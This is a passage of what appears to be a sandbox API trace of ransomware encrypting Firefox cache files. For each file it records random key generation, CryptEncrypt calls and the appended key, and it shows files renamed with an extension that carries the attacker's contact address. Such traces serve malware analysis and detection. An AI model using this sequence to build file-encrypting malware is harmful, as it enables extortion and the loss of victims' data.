lpNumberOfBytesWritten=0x2e1f9bc*=0x1ad0, lpOverlapped=0x0) returned 1 [0190.819] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1ad0 [0190.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.819] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9bc0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9bc0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.820] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9bc0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9bc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.820] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.820] CloseHandle (hObject=0x1b80) returned 1 [0190.820] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32B6927A1EB46E83B230070265358A1C5B788D11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32b6927a1eb46e83b230070265358a1c5b788d11"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32B6927A1EB46E83B230070265358A1C5B788D11.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32b6927a1eb46e83b230070265358a1c5b788d11.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.822] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9bc0 | out: pbBuffer=0x30d9bc0) returned 1 [0190.822] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0190.822] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32AFE38EED991EA004851E7C968397C7D9EA501C", dwFileAttributes=0x80) returned 1 [0190.823] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d9cc8 [0190.823] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.823] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32AFE38EED991EA004851E7C968397C7D9EA501C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32afe38eed991ea004851e7c968397c7d9ea501c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.823] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=46772) returned 1 [0190.823] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb6b4) returned 0x30db048 [0190.823] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb6b4) returned 0x2eeb018 [0190.823] ReadFile (in: hFile=0x1b80, lpBuffer=0x30db048, nNumberOfBytesToRead=0xb6b4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesRead=0x2e1f9bc*=0xb6b4, lpOverlapped=0x0) returned 1 [0190.837] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-46772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.838] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0xb6b4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb6b4, lpOverlapped=0x0) returned 1 [0190.838] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb6b4 [0190.838] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.838] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9bc0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9bc0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.839] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9bc0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9bc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.839] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.839] CloseHandle (hObject=0x1b80) returned 1 [0190.839] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32AFE38EED991EA004851E7C968397C7D9EA501C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32afe38eed991ea004851e7c968397c7d9ea501c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\32AFE38EED991EA004851E7C968397C7D9EA501C.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\32afe38eed991ea004851e7c968397c7d9ea501c.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.842] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9cc8 | out: pbBuffer=0x30d9cc8) returned 1 [0190.842] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0190.842] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31592C8B017CA0508B5F0339E7E1EA46376F2D31", dwFileAttributes=0x80) returned 1 [0190.842] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30da2f8 [0190.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.843] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31592C8B017CA0508B5F0339E7E1EA46376F2D31" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31592c8b017ca0508b5f0339e7e1ea46376f2d31"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.843] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7919) returned 1 [0190.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1eef) returned 0x30db048 [0190.843] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1eef) returned 0x30dcf40 [0190.843] ReadFile (in: hFile=0x1b80, lpBuffer=0x30db048, nNumberOfBytesToRead=0x1eef, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesRead=0x2e1f9bc*=0x1eef, lpOverlapped=0x0) returned 1 [0190.853] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-7919, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.853] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dcf40*, nNumberOfBytesToWrite=0x1eef, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dcf40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1eef, lpOverlapped=0x0) returned 1 [0190.854] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1eef [0190.854] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.854] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9cc8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9cc8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.854] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9cc8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9cc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.854] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.854] CloseHandle (hObject=0x1b80) returned 1 [0190.855] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31592C8B017CA0508B5F0339E7E1EA46376F2D31" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31592c8b017ca0508b5f0339e7e1ea46376f2d31"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31592C8B017CA0508B5F0339E7E1EA46376F2D31.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31592c8b017ca0508b5f0339e7e1ea46376f2d31.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.857] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9488 | out: pbBuffer=0x30d9488) returned 1 [0190.857] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.857] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31279F1295868B1758188226BB765EF87F3F8DB8", dwFileAttributes=0x80) returned 1 [0190.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d9bc0 [0190.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.858] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31279F1295868B1758188226BB765EF87F3F8DB8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31279f1295868b1758188226bb765ef87f3f8db8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.859] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1320) returned 1 [0190.859] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x528) returned 0x619c48 [0190.859] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x528) returned 0x30f5890 [0190.859] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0190.879] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.879] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x528, lpOverlapped=0x0) returned 1 [0190.879] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x528 [0190.879] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.879] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9488*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9488*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.879] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9488*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9488*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.879] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.879] CloseHandle (hObject=0x1b80) returned 1 [0190.880] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31279F1295868B1758188226BB765EF87F3F8DB8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31279f1295868b1758188226bb765ef87f3f8db8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\31279F1295868B1758188226BB765EF87F3F8DB8.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\31279f1295868b1758188226bb765ef87f3f8db8.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.882] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30d9488 | out: pbBuffer=0x30d9488) returned 1 [0190.882] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.882] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FD61AE1BA24124CC1923ECAFD4AAC3D50447717", dwFileAttributes=0x80) returned 1 [0190.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d9bc0 [0190.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.882] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FD61AE1BA24124CC1923ECAFD4AAC3D50447717" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fd61ae1ba24124cc1923ecafd4aac3d50447717"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.883] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4454) returned 1 [0190.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1166) returned 0x30f5890 [0190.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1166) returned 0x30db048 [0190.883] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1166, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1166, lpOverlapped=0x0) returned 1 [0190.910] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4454, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.910] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0x1166, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1166, lpOverlapped=0x0) returned 1 [0190.910] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1166 [0190.910] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0190.910] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d9488*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30d9488*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0190.911] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d9488*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9488*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0190.911] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0190.911] CloseHandle (hObject=0x1b80) returned 1 [0190.911] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FD61AE1BA24124CC1923ECAFD4AAC3D50447717" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fd61ae1ba24124cc1923ecafd4aac3d50447717"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FD61AE1BA24124CC1923ECAFD4AAC3D50447717.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fd61ae1ba24124cc1923ecafd4aac3d50447717.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0190.917] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dac40 | out: pbBuffer=0x30dac40) returned 1 [0190.917] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0190.917] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78", dwFileAttributes=0x80) returned 1 [0190.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30d9488 [0190.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0190.918] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fc942dab73674ffe66c8a7bcd9230dfd3f9fa78"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0190.918] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2858578) returned 1 [0190.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2b9e52) returned 0x3d29020 [0190.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2b9e52) returned 0x3ff7020 [0190.930] ReadFile (in: hFile=0x1b80, lpBuffer=0x3d29020, nNumberOfBytesToRead=0x2b9e52, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d29020*, lpNumberOfBytesRead=0x2e1f9bc*=0x2b9e52, lpOverlapped=0x0) returned 1 [0191.089] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2858578, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.089] WriteFile (in: hFile=0x1b80, lpBuffer=0x3ff7020*, nNumberOfBytesToWrite=0x2b9e52, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3ff7020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2b9e52, lpOverlapped=0x0) returned 1 [0191.136] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2b9e52 [0191.136] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0191.136] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dac40*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dac40*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0191.136] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dac40*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dac40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0191.136] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0191.136] CloseHandle (hObject=0x1b80) returned 1 [0191.136] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fc942dab73674ffe66c8a7bcd9230dfd3f9fa78"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2FC942DAB73674FFE66C8A7BCD9230DFD3F9FA78.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2fc942dab73674ffe66c8a7bcd9230dfd3f9fa78.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0191.186] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dac40 | out: pbBuffer=0x30dac40) returned 1 [0191.186] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0191.186] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F803861A862CED3B233D955BAE181A1838202B7", dwFileAttributes=0x80) returned 1 [0191.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dae50 [0191.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0191.187] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2F803861A862CED3B233D955BAE181A1838202B7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2f803861a862ced3b233d955bae181a1838202b7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0191.187] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3095) returned 1 [0191.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc17) returned 0x30f5890 [0191.187] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc17) returned 0x30db048 [0191.187] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0xc17, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0xc17, lpOverlapped=0x0) returned 1 [0191.206] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3095, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.206] WriteFile (in: hFile=0x1b80, lpBuffer=0x30db048*, nNumberOfBytesToWrite=0xc17, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db048*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc17, lpOverlapped=0x0) returned 1 [0191.207] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc17 [0191.207] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, 